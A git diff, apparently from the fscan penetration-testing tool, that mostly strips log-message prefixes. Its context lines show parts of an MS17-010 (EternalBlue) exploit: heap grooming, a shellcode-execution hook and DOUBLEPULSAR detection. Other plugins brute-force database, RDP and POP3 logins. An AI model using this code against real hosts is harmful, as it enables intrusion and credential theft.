return fmt.Errorf("发送协议协商数据包失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取响应
|
||||
if _, _, err := smb1GetResponse(conn); err != nil {
|
||||
return fmt.Errorf("[-] 获取协议协商响应失败: %v", err)
|
||||
return fmt.Errorf("获取协议协商响应失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
@@ -428,22 +428,22 @@ func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) {
|
||||
|
||||
// 构造NetBIOS会话服务头
|
||||
if err := writeNetBIOSLoginHeader(&buf); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
|
||||
}
|
||||
|
||||
// 构造SMB协议头
|
||||
if err := writeSMBLoginHeader(&buf); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("构造SMB头失败: %v", err)
|
||||
}
|
||||
|
||||
// 构造会话设置请求
|
||||
if err := writeSessionSetupRequest(&buf); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 构造会话设置请求失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("构造会话设置请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 发送数据包
|
||||
if _, err := buf.WriteTo(conn); err != nil {
|
||||
return nil, nil, fmt.Errorf("[-] 发送登录数据包失败: %v", err)
|
||||
return nil, nil, fmt.Errorf("发送登录数据包失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取响应
|
||||
@@ -560,7 +560,7 @@ func getOSName(raw []byte) (string, error) {
|
||||
char := make([]byte, 2)
|
||||
for {
|
||||
if _, err := io.ReadFull(reader, char); err != nil {
|
||||
return "", fmt.Errorf("[-] 读取操作系统名称失败: %v", err)
|
||||
return "", fmt.Errorf("读取操作系统名称失败: %v", err)
|
||||
}
|
||||
|
||||
// 遇到结束符(0x00 0x00)时退出
|
||||
@@ -590,17 +590,17 @@ func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader,
|
||||
|
||||
// 构造NetBIOS会话服务头
|
||||
if err := writeNetBIOSTreeHeader(&buf); err != nil {
|
||||
return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
|
||||
return nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
|
||||
}
|
||||
|
||||
// 构造SMB协议头
|
||||
if err := writeSMBTreeHeader(&buf, userID); err != nil {
|
||||
return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
|
||||
return nil, fmt.Errorf("构造SMB头失败: %v", err)
|
||||
}
|
||||
|
||||
// 构造树连接请求
|
||||
if err := writeTreeConnectRequest(&buf, address); err != nil {
|
||||
return nil, fmt.Errorf("[-] 构造树连接请求失败: %v", err)
|
||||
return nil, fmt.Errorf("构造树连接请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 更新数据包大小
|
||||
@@ -608,13 +608,13 @@ func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader,
|
||||
|
||||
// 发送数据包
|
||||
if _, err := buf.WriteTo(conn); err != nil {
|
||||
return nil, fmt.Errorf("[-] 发送树连接请求失败: %v", err)
|
||||
return nil, fmt.Errorf("发送树连接请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取响应
|
||||
_, header, err := smb1GetResponse(conn)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("[-] 获取树连接响应失败: %v", err)
|
||||
return nil, fmt.Errorf("获取树连接响应失败: %v", err)
|
||||
}
|
||||
|
||||
return header, nil
|
||||
@@ -682,7 +682,7 @@ func writeTreeConnectRequest(buf *bytes.Buffer, address string) error {
|
||||
// IPC路径
|
||||
host, _, err := net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 解析地址失败: %v", err)
|
||||
return fmt.Errorf("解析地址失败: %v", err)
|
||||
}
|
||||
_, _ = fmt.Fprintf(buf, "\\\\%s\\IPC$", host)
|
||||
|
||||
@@ -707,7 +707,7 @@ func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
|
||||
// 发送NT Trans请求获取事务头
|
||||
transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[-] 发送NT Trans请求失败: %v", err)
|
||||
return fmt.Errorf("发送NT Trans请求失败: %v", err)
|
||||
}
|
||||
|
||||
treeID := transHeader.TreeID
|
||||
@@ -732,12 +732,12 @@ func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
|
||||
|
||||
// 发送组合数据包
|
||||
if _, err := conn.Write(transPackets); err != nil {
|
||||
return fmt.Errorf("[-] 发送大缓冲区数据失败: %v", err)
|
||||
return fmt.Errorf("发送大缓冲区数据失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取响应
|
||||
if _, _, err := smb1GetResponse(conn); err != nil {
|
||||
return fmt.Errorf("[-] 获取大缓冲区响应失败: %v", err)
|
||||
return fmt.Errorf("获取大缓冲区响应失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
@@ -749,28 +749,28 @@ func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) {
|
||||
|
||||
// 构造NetBIOS会话服务头
|
||||
if err := writeNetBIOSNTTransHeader(&buf); err != nil {
|
||||
return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
|
||||
return nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
|
||||
}
|
||||
|
||||
// 构造SMB协议头
|
||||
if err := writeSMBNTTransHeader(&buf, treeID, userID); err != nil {
|
||||
return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
|
||||
return nil, fmt.Errorf("构造SMB头失败: %v", err)
|
||||
}
|
||||
|
||||
// 构造NT Trans请求
|
||||
if err := writeNTTransRequest(&buf); err != nil {
|
||||
return nil, fmt.Errorf("[-] 构造NT Trans请求失败: %v", err)
|
||||
return nil, fmt.Errorf("构造NT Trans请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 发送数据包
|
||||
if _, err := buf.WriteTo(conn); err != nil {
|
||||
return nil, fmt.Errorf("[-] 发送NT Trans请求失败: %v", err)
|
||||
return nil, fmt.Errorf("发送NT Trans请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取响应
|
||||
_, header, err := smb1GetResponse(conn)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("[-] 获取NT Trans响应失败: %v", err)
|
||||
return nil, fmt.Errorf("获取NT Trans响应失败: %v", err)
|
||||
}
|
||||
|
||||
return header, nil
|
||||
@@ -1099,7 +1099,7 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
|
||||
// 建立TCP连接
|
||||
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("[-] 连接目标失败: %v", err)
|
||||
return nil, fmt.Errorf("连接目标失败: %v", err)
|
||||
}
|
||||
|
||||
// 连接状态标记
|
||||
@@ -1112,7 +1112,7 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
|
||||
|
||||
// SMB协议协商
|
||||
if err = smbClientNegotiate(conn); err != nil {
|
||||
return nil, fmt.Errorf("[-] SMB协议协商失败: %v", err)
|
||||
return nil, fmt.Errorf("SMB协议协商失败: %v", err)
|
||||
}
|
||||
|
||||
// 根据开始/结束标志设置不同参数
|
||||
@@ -1130,12 +1130,12 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
|
||||
// 构造并发送会话数据包
|
||||
packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS)
|
||||
if _, err = conn.Write(packet); err != nil {
|
||||
return nil, fmt.Errorf("[-] 发送内存释放会话数据包失败: %v", err)
|
||||
return nil, fmt.Errorf("发送内存释放会话数据包失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取响应
|
||||
if _, _, err = smb1GetResponse(conn); err != nil {
|
||||
return nil, fmt.Errorf("[-] 获取会话响应失败: %v", err)
|
||||
return nil, fmt.Errorf("获取会话响应失败: %v", err)
|
||||
}
|
||||
|
||||
ok = true
|
||||
@@ -1251,12 +1251,12 @@ func smb2Grooms(address string, grooms int) ([]net.Conn, error) {
|
||||
// 创建TCP连接
|
||||
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("[-] 连接目标失败: %v", err)
|
||||
return nil, fmt.Errorf("连接目标失败: %v", err)
|
||||
}
|
||||
|
||||
// 发送SMB2头
|
||||
if _, err = conn.Write(header); err != nil {
|
||||
return nil, fmt.Errorf("[-] 发送SMB2头失败: %v", err)
|
||||
return nil, fmt.Errorf("发送SMB2头失败: %v", err)
|
||||
}
|
||||
|
||||
conns = append(conns, conn)
|
||||
|
||||
+74
-61
@@ -3,10 +3,9 @@ package Plugins
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
@@ -33,126 +32,133 @@ func init() {
|
||||
// 解密协议请求
|
||||
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
|
||||
if err != nil {
|
||||
log.Fatalf("解密协议请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
log.Fatalf("解码协议请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密会话请求
|
||||
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
|
||||
if err != nil {
|
||||
log.Fatalf("解密会话请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
sessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
log.Fatalf("解码会话请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密连接请求
|
||||
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
|
||||
if err != nil {
|
||||
log.Fatalf("解密连接请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
treeConnectRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
log.Fatalf("解码连接请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密管道请求
|
||||
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
|
||||
if err != nil {
|
||||
log.Fatalf("解密管道请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
transNamedPipeRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
log.Fatalf("解码管道请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密会话设置请求
|
||||
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
|
||||
if err != nil {
|
||||
log.Fatalf("解密会话设置请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
log.Fatalf("解码会话设置请求失败: %v", err)
|
||||
Common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
// MS17010 扫描入口函数
|
||||
func MS17010(info *Common.HostInfo) error {
|
||||
// 暴力破解模式下跳过扫描
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 执行MS17-010漏洞扫描
|
||||
err := MS17010Scan(info)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err))
|
||||
Common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err))
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
// MS17010Scan 执行MS17-010漏洞扫描
|
||||
func MS17010Scan(info *Common.HostInfo) error {
|
||||
ip := info.Host
|
||||
|
||||
// 连接目标445端口
|
||||
// 连接目标
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return err
|
||||
return fmt.Errorf("连接错误: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置连接超时
|
||||
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
return err
|
||||
return fmt.Errorf("设置超时错误: %v", err)
|
||||
}
|
||||
|
||||
// 发送SMB协议协商请求
|
||||
// SMB协议协商
|
||||
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
|
||||
return err
|
||||
return fmt.Errorf("发送协议请求错误: %v", err)
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply := make([]byte, 1024)
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取协议响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("协议响应不完整")
|
||||
}
|
||||
|
||||
// 检查协议响应状态
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return err
|
||||
return fmt.Errorf("协议协商被拒绝")
|
||||
}
|
||||
|
||||
// 发送会话建立请求
|
||||
// 建立会话
|
||||
if _, err = conn.Write(sessionSetupRequest); err != nil {
|
||||
return err
|
||||
return fmt.Errorf("发送会话请求错误: %v", err)
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 36 {
|
||||
return err
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取会话响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("会话响应不完整")
|
||||
}
|
||||
|
||||
// 检查会话响应状态
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return errors.New("无法确定目标是否存在漏洞")
|
||||
return fmt.Errorf("会话建立失败")
|
||||
}
|
||||
|
||||
// 提取操作系统信息
|
||||
// 提取系统信息
|
||||
var os string
|
||||
sessionSetupResponse := reply[36:n]
|
||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n != int(byteCount)+45 {
|
||||
fmt.Printf("[-] %s:445 MS17010无效的会话响应\n", ip)
|
||||
Common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip))
|
||||
} else {
|
||||
// 查找Unicode字符串结束标记(两个连续的0字节)
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||
os = string(sessionSetupResponse[10:i])
|
||||
@@ -163,69 +169,76 @@ func MS17010Scan(info *Common.HostInfo) error {
|
||||
}
|
||||
}
|
||||
|
||||
// 获取用户ID
|
||||
// 树连接请求
|
||||
userID := reply[32:34]
|
||||
treeConnectRequest[32] = userID[0]
|
||||
treeConnectRequest[33] = userID[1]
|
||||
|
||||
// 发送树连接请求
|
||||
if _, err = conn.Write(treeConnectRequest); err != nil {
|
||||
return err
|
||||
return fmt.Errorf("发送树连接请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取树连接响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("树连接响应不完整")
|
||||
}
|
||||
|
||||
// 获取树ID并设置后续请求
|
||||
// 命名管道请求
|
||||
treeID := reply[28:30]
|
||||
transNamedPipeRequest[28] = treeID[0]
|
||||
transNamedPipeRequest[29] = treeID[1]
|
||||
transNamedPipeRequest[32] = userID[0]
|
||||
transNamedPipeRequest[33] = userID[1]
|
||||
|
||||
// 发送命名管道请求
|
||||
if _, err = conn.Write(transNamedPipeRequest); err != nil {
|
||||
return err
|
||||
return fmt.Errorf("发送管道请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取管道响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("管道响应不完整")
|
||||
}
|
||||
|
||||
// 检查漏洞状态
|
||||
// 漏洞检测
|
||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||
// 目标存在MS17-010漏洞
|
||||
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os))
|
||||
if os != "" {
|
||||
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os))
|
||||
} else {
|
||||
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip))
|
||||
}
|
||||
|
||||
// 如果指定了shellcode,执行漏洞利用
|
||||
defer func() {
|
||||
if Common.Shellcode != "" {
|
||||
MS17010EXP(info)
|
||||
}
|
||||
}()
|
||||
|
||||
// 检测DOUBLEPULSAR后门
|
||||
// DOUBLEPULSAR后门检测
|
||||
trans2SessionSetupRequest[28] = treeID[0]
|
||||
trans2SessionSetupRequest[29] = treeID[1]
|
||||
trans2SessionSetupRequest[32] = userID[0]
|
||||
trans2SessionSetupRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(trans2SessionSetupRequest); err != nil {
|
||||
return err
|
||||
return fmt.Errorf("发送后门检测请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取后门检测响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("后门检测响应不完整")
|
||||
}
|
||||
|
||||
if reply[34] == 0x51 {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s 存在DOUBLEPULSAR后门", ip))
|
||||
Common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip))
|
||||
}
|
||||
} else {
|
||||
// 未检测到漏洞,仅输出系统信息
|
||||
Common.LogSuccess(fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os))
|
||||
|
||||
// Shellcode利用
|
||||
if Common.Shellcode != "" {
|
||||
defer MS17010EXP(info)
|
||||
}
|
||||
} else if os != "" {
|
||||
Common.LogInfo(fmt.Sprintf("系统信息 %s [%s]", ip, os))
|
||||
}
|
||||
|
||||
return err
|
||||
return nil
|
||||
}
|
||||
|
||||
+1
-1
@@ -82,7 +82,7 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v",
|
||||
errlog := fmt.Sprintf("MSSQL %v:%v %v %v %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
|
||||
@@ -33,14 +33,14 @@ func MemcachedScan(info *Common.HostInfo) error {
|
||||
rev := make([]byte, 1024)
|
||||
n, err := client.Read(rev)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
|
||||
errlog := fmt.Sprintf("Memcached %v:%v %v", info.Host, info.Ports, err)
|
||||
Common.LogError(errlog)
|
||||
return err
|
||||
}
|
||||
|
||||
// 检查响应内容
|
||||
if strings.Contains(string(rev[:n]), "STAT") {
|
||||
result := fmt.Sprintf("[+] Memcached %s 未授权访问", realhost)
|
||||
result := fmt.Sprintf("Memcached %s 未授权访问", realhost)
|
||||
Common.LogSuccess(result)
|
||||
}
|
||||
|
||||
|
||||
+2
-2
@@ -41,13 +41,13 @@ func ModbusScan(info *Common.HostInfo) error {
|
||||
|
||||
// 验证响应
|
||||
if isValidModbusResponse(response[:n]) {
|
||||
result := fmt.Sprintf("[+] Modbus服务 %v:%v 无认证访问", host, port)
|
||||
result := fmt.Sprintf("Modbus服务 %v:%v 无认证访问", host, port)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
// 尝试读取更多设备信息
|
||||
deviceInfo := parseModbusResponse(response[:n])
|
||||
if deviceInfo != "" {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] 设备信息: %s", deviceInfo))
|
||||
Common.LogSuccess(fmt.Sprintf("设备信息: %s", deviceInfo))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
+2
-2
@@ -15,7 +15,7 @@ func MongodbScan(info *Common.HostInfo) error {
|
||||
|
||||
_, err := MongodbUnauth(info)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err)
|
||||
errlog := fmt.Sprintf("MongoDB %v:%v %v", info.Host, info.Ports, err)
|
||||
Common.LogError(errlog)
|
||||
}
|
||||
return err
|
||||
@@ -41,7 +41,7 @@ func MongodbUnauth(info *Common.HostInfo) (bool, error) {
|
||||
|
||||
// 检查响应结果
|
||||
if strings.Contains(reply, "totalLinesWritten") {
|
||||
result := fmt.Sprintf("[+] MongoDB %v 未授权访问", realhost)
|
||||
result := fmt.Sprintf("MongoDB %v 未授权访问", realhost)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
+2
-2
@@ -91,7 +91,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 连接成功
|
||||
select {
|
||||
case successChan <- struct{}{}: // 标记成功
|
||||
successLog := fmt.Sprintf("[+] MySQL %v:%v %v %v",
|
||||
successLog := fmt.Sprintf("MySQL %v:%v %v %v",
|
||||
info.Host, info.Ports, task.user, task.pass)
|
||||
Common.LogSuccess(successLog)
|
||||
default:
|
||||
@@ -105,7 +105,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v",
|
||||
errlog := fmt.Sprintf("MySQL %v:%v %v %v %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
|
||||
+2
-2
@@ -100,7 +100,7 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@@ -177,7 +177,7 @@ func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
}
|
||||
|
||||
// 连接成功
|
||||
result := fmt.Sprintf("[+] Neo4j服务 %v:%v ", host, port)
|
||||
result := fmt.Sprintf("Neo4j服务 %v:%v ", host, port)
|
||||
if user != "" {
|
||||
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
|
||||
} else {
|
||||
|
||||
+1
-1
@@ -18,7 +18,7 @@ func NetBIOS(info *Common.HostInfo) error {
|
||||
netbios, _ := NetBIOS1(info)
|
||||
output := netbios.String()
|
||||
if len(output) > 0 {
|
||||
result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output)
|
||||
result := fmt.Sprintf("NetBios %-15s %s", info.Host, output)
|
||||
Common.LogSuccess(result)
|
||||
return nil
|
||||
}
|
||||
|
||||
+2
-2
@@ -85,7 +85,7 @@ func OracleScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v",
|
||||
errlog := fmt.Sprintf("Oracle %v:%v %v %v %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@@ -152,7 +152,7 @@ func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
}
|
||||
|
||||
// 连接成功
|
||||
result := fmt.Sprintf("[+] Oracle %v:%v:%v %v", host, port, username, password)
|
||||
result := fmt.Sprintf("Oracle %v:%v:%v %v", host, port, username, password)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
+3
-3
@@ -77,7 +77,7 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
// 连接成功
|
||||
successLog := fmt.Sprintf("[+] POP3服务 %v:%v 用户名: %v 密码: %v",
|
||||
successLog := fmt.Sprintf("POP3服务 %v:%v 用户名: %v 密码: %v",
|
||||
info.Host, info.Ports, task.user, task.pass)
|
||||
Common.LogSuccess(successLog)
|
||||
resultChan <- nil
|
||||
@@ -89,7 +89,7 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@@ -198,7 +198,7 @@ func tryPOP3Auth(conn net.Conn, host string, port string, user string, pass stri
|
||||
}
|
||||
|
||||
if strings.Contains(response, "+OK") {
|
||||
result := fmt.Sprintf("[+] POP3服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
|
||||
result := fmt.Sprintf("POP3服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
|
||||
if isTLS {
|
||||
result += " (TLS)"
|
||||
}
|
||||
|
||||
+2
-2
@@ -85,7 +85,7 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v",
|
||||
errlog := fmt.Sprintf("PostgreSQL %v:%v %v %v %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@@ -152,7 +152,7 @@ func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error)
|
||||
}
|
||||
|
||||
// 连接成功
|
||||
result := fmt.Sprintf("[+] PostgreSQL %v:%v:%v %v", host, port, username, password)
|
||||
result := fmt.Sprintf("PostgreSQL %v:%v:%v %v", host, port, username, password)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
+6
-6
@@ -73,9 +73,9 @@ func RdpScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 连接成功
|
||||
var result string
|
||||
if Common.Domain != "" {
|
||||
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass)
|
||||
result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", info.Host, port, user, pass)
|
||||
result = fmt.Sprintf("RDP %v:%v:%v %v", info.Host, port, user, pass)
|
||||
}
|
||||
Common.LogSuccess(result)
|
||||
select {
|
||||
@@ -86,7 +86,7 @@ func RdpScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
// 连接失败
|
||||
errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", num, all, info.Host, port, user, pass, err)
|
||||
errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", num, all, info.Host, port, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
}
|
||||
}()
|
||||
@@ -139,9 +139,9 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute
|
||||
// 连接成功
|
||||
var result string
|
||||
if domain != "" {
|
||||
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
|
||||
result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass)
|
||||
result = fmt.Sprintf("RDP %v:%v:%v %v", host, port, user, pass)
|
||||
}
|
||||
Common.LogSuccess(result)
|
||||
*signal = true
|
||||
@@ -149,7 +149,7 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute
|
||||
}
|
||||
|
||||
// 连接失败
|
||||
errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err)
|
||||
errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
}
|
||||
}
|
||||
|
||||
+3
-3
@@ -82,7 +82,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
